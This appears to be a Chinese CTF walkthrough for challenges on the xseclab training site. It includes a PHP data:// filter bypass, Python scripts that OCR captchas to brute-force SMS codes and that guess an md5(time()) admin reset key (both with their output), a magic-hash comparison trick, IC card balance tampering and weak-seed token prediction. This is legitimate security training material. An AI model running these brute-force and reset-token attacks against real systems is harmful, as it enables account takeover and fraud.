网络安全实验室CTF练习题目

1、脚本关:微笑一下,过关地址:http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php 
查看源代码:

    include('flag.php'); 

    $smile = 1;  

   if (!isset ($_GET['^_^'])) $smile = 0;  
    if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;  
    if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;  
    if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0; 
    if ($smile) { 
        if (@file_exists ($_GET['^_^'])) $smile = 0;  
    }  
    if ($smile) { 
        $smile = @file_get_contents ($_GET['^_^']);  
        if ($smile === "(●'◡'●)") die($flag);  
    } 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

显然参数为^^=(●’◡’●),但QUERY_STRING过滤了‘’,且文件不能存在,但可以读取文件内容,前面又过滤了一堆http、ftp等。因PHP自动回替换.为_,使用data协议,构造参数为:?^.^=data://text/plain;charset=unicode,(●’◡’●)

2、脚本关:验证码识别并进行手机验证码爆破 http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php#

提交之前需先点一下获取验证码,查看提交后的header,取得cookie,提交的参数。 
识别验证码可用tesseract,代码如下:

#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests  #调用url、cookie操作 文件操作的库
import sys
import time
from pytesseract import *
from PIL import Image

def vcode(pic_url,cookies):
    "python验证码识别函数"
    r = requests.get(pic_url, cookies=cookies, timeout=10)
    with open('vcode.png', 'wb') as pic:
        pic.write(r.content)
    image=Image.open('vcode.png')
    im = image_to_string(image)
    #print im
    im = im.replace(' ', '')
    if im.isdigit() and len(im)==4:
        return im
    else:
        return vcode(pic_url,cookies)

cookies = {'saeut': '14.19.157.117.1435504248010840','PHPSESSID':'2cec394dbfba709823daea4ba71eb04a'} 
payload = {'username': '13388886666', 'mobi_code': '100','user_code':'5053','Login':'submit'}
#headers = {'user-agent': 'my-app/0.0.1'}

picurl='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'

url="http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php"
#filename = u"D:/Users/flag.txt"

#fp = open(filename, 'a')

for i in range(100,999): 
     code1=vcode(picurl,cookies)
     #time.sleep(0.01)
     payload['user_code']=code1
     payload['mobi_code']='%d'%(i)
     wp = requests.post(url, data=payload,cookies=cookies, timeout=10)  #params=payload get,headers=headers
     #print(wp.text)
     text=wp.content
     #text=text[2:len(text)]
     #print 'length:%d'%(len(text))
     #fp.write(text.encode('utf-8'))
     responsetxt = text.encode('utf-8')
     if 'error' not in responsetxt:
           print 'The correct code is:', code1,responsetxt
           break
     else:
           print 'tring code:', i, code1,responsetxt

print("get flag success")
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53

手机验证码从100开始尝试,取得flag后会跳出

tring code: 294 0397 user_code or mobi_code error
tring code: 295 1728 user_code or mobi_code error
The correct code is 1728 key is 133dbc85dda4aa**)
get flag success
  • 1
  • 2
  • 3
  • 4

3、解密关第1题:http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/ 
该题说明了可重置其他用户密码,但不可重置管理员的。 
这里可使用平行权限漏洞,将其他用户改为admin,先获取cookie,sukey=md5(time()),尝试执行过程中要去点一下admin账号的重置密码,之后很快key就出来了。 
代码如下:

#!/usr/bin/env python
# -*- coding: gbk -*-
import requests
import hashlib
import time
"执行前需要先点一下admin的重置密码按钮"
s = requests.Session()
header = {'Cookie': 'saeut=14.19.157.117.1435504248010840; PHPSESSID=ffb638b41b60e696a2793815bedc32fa'}
while True:
    pwd = hashlib.new('md5', str(int(time.time()))).hexdigest()
    url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey=' + pwd + '&username=admin'
    r = s.get(url, headers=header)
    time.sleep(1)
    text=r.content
    responsetxt = text.encode('utf-8')
    if text != '':
        print url,r.content
        break
    else:
        print '正在破解中……', pwd
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

执行中去点一下admin的重置密码按钮 
正在破解中…… aa4797f696c408b8cb6ec7304fc118d0 
正在破解中…… 7257b11dde5b8d6135652a56c730947d 
正在破解中…… 656fb3b904dfbb161ba482ce7e3496b5 
正在破解中…… fd27309d902c1cc3ee209779ab5d7215 
正在破解中…… b80bfe65dc163e9b7a13e0bcb6c00349 
http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?suk 
ey=383edc5fe95d7638fae3629b29fb16f0&username=admin key is yestimeispassword

4、解密关第6题 
给定的密码串,base64解码出来是乱码,显然里面某些字母应该是小写,才能保证解码出来是正确值。由于3位明文转化为4位base64值,可以通过逐位变换大小写来,以4个字符为单位观察解码后是否为可见字符。 
通过递归的方式遍历,代码如下,运行结果最可能的结果是hey!IloveU!

#!/usr/bin/python
# -*- coding: utf-8 -*-

import base64
import binascii
b64str='AGV5IULSB3ZLVSE='
f=open('flag.txt','w')
def  base64code(s,d):
    global b64str
    global f
    if(d==len(b64str)):
        f.write(binascii.b2a_qp(base64.b64decode(s))+'\n')
    else:
        base64code(s+b64str[d],d+1)
        if b64str[d].isalpha():  
           base64code(s+b64str[d].lower(),d+1)



base64code('',0)

f.close()
f=open('flag.txt','r')
for l in f.readlines():
    if '=' not in l:
        print(l)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

5、解密关第7题 
题目地址:http://lab1.xseclab.com/pentest5_6a204bd89f3c8348afd5c77c717a097a/ 
题目给的代码为


$flag=FLAG;
if(isset($_POST["password"])){
    $password=$_POST['password'];
    $rootadmin="!1793422703!";
    if($password==$rootadmin){die("Please do not attack admin account!");}

    if(md5($password)==md5($rootadmin)){
        echo $flag;
    }else{
        die("Password Error!");
    }
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

这题好久没做出来,突然搜索php字符串比较发现了思路。比较的是md5值,php进行字符串比较时若若双等号会转化为数字再进行比较,若用===则会根据数据类型进行比较,所以这里有漏洞。 
!1793422703!的md5值为0e332932043729729062996282883873,转化为数字就是0,故只要password参数的md5值以0开头且第二位为字母即可达到目的。 
http://www.219.me/posts/2884.html 这个页面有一堆,随便选一个传进去即可。 
如图

6、解密关第8题 
应该是硬件采集日志分析,参照http://www.waitalone.cn/security-hardware-usb.html的方法,下载逻辑分析仪软件,地址为http://downloads.saleae.com/betas/1.2.3/Logic+Setup+1.2.3.exe 
看到一串值分别为iloveyouxiaoguniang!提交过去怎么都不对,搜索comma为逗号,加上逗号提交成功,key为iloveyou,xiaoguniang! 
7、解密关第5题 
题目地址:http://lab1.xseclab.com/password2_454a7a7cb7213e14695c022cfb04141c/index.php 
这是道IC卡数据安全分析题目,比较典型,以后物联网发展也是重点。需要掌握的是金额和校验。10000为0x2710,取反为0xFFFFD8EF. 
原图 
若要修改余额为200元,20000为0x4e20,取反为0xFFFFB1DF,修改第6行红框数据。 第一行为uid等信息,前4位为uid,第5位为校验位,一般是CRC循环冗余校验或奇偶校验,以后再研究。将第一行或前5个字节全改为00,提交验证成功。 
还可以用工具计算校验码,工具下载:http://s1.boby.im/other/XOR&KEY.exe,计算A4BA3EAA的校验码为8A,将88改为8A(其实将前4个字节求异或即得到8A)。 
修改后图

8、综合关第6题 
题目地址:http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/index.php 
该题目是8月24日才新增的,需要更改密码,需要审计的源代码如下:

 
session_start();
include '_flag.php';
date_default_timezone_set('Asia/Shanghai');
if(isset($_POST['token']) && isset($_SESSION['token']) &&!empty($_POST['token'])&&!empty($_SESSION['token'])){
    if($_POST['token']==$_SESSION['token']){
        echo "PassResetSuccess! Your Flag is:".$flag;
    }else{
        echo "Token_error!";
    }
}else{
    mt_srand(time());
    $rand= mt_rand();
    $_SESSION['token']=sha1(md5($rand));
    echo "Token Generate Ok! now send email to your EmailBox!.....";
    if(sendmymail($_SESSION['token'])){
        echo "SendOK! \r\n
Your password reset Token has been send to your mailbox!
Please Check your mail box and fill your token here to reset your password!
"
; }; } echo '
'
; echo "

你可能感兴趣的:(ctf,ctf,网络安全)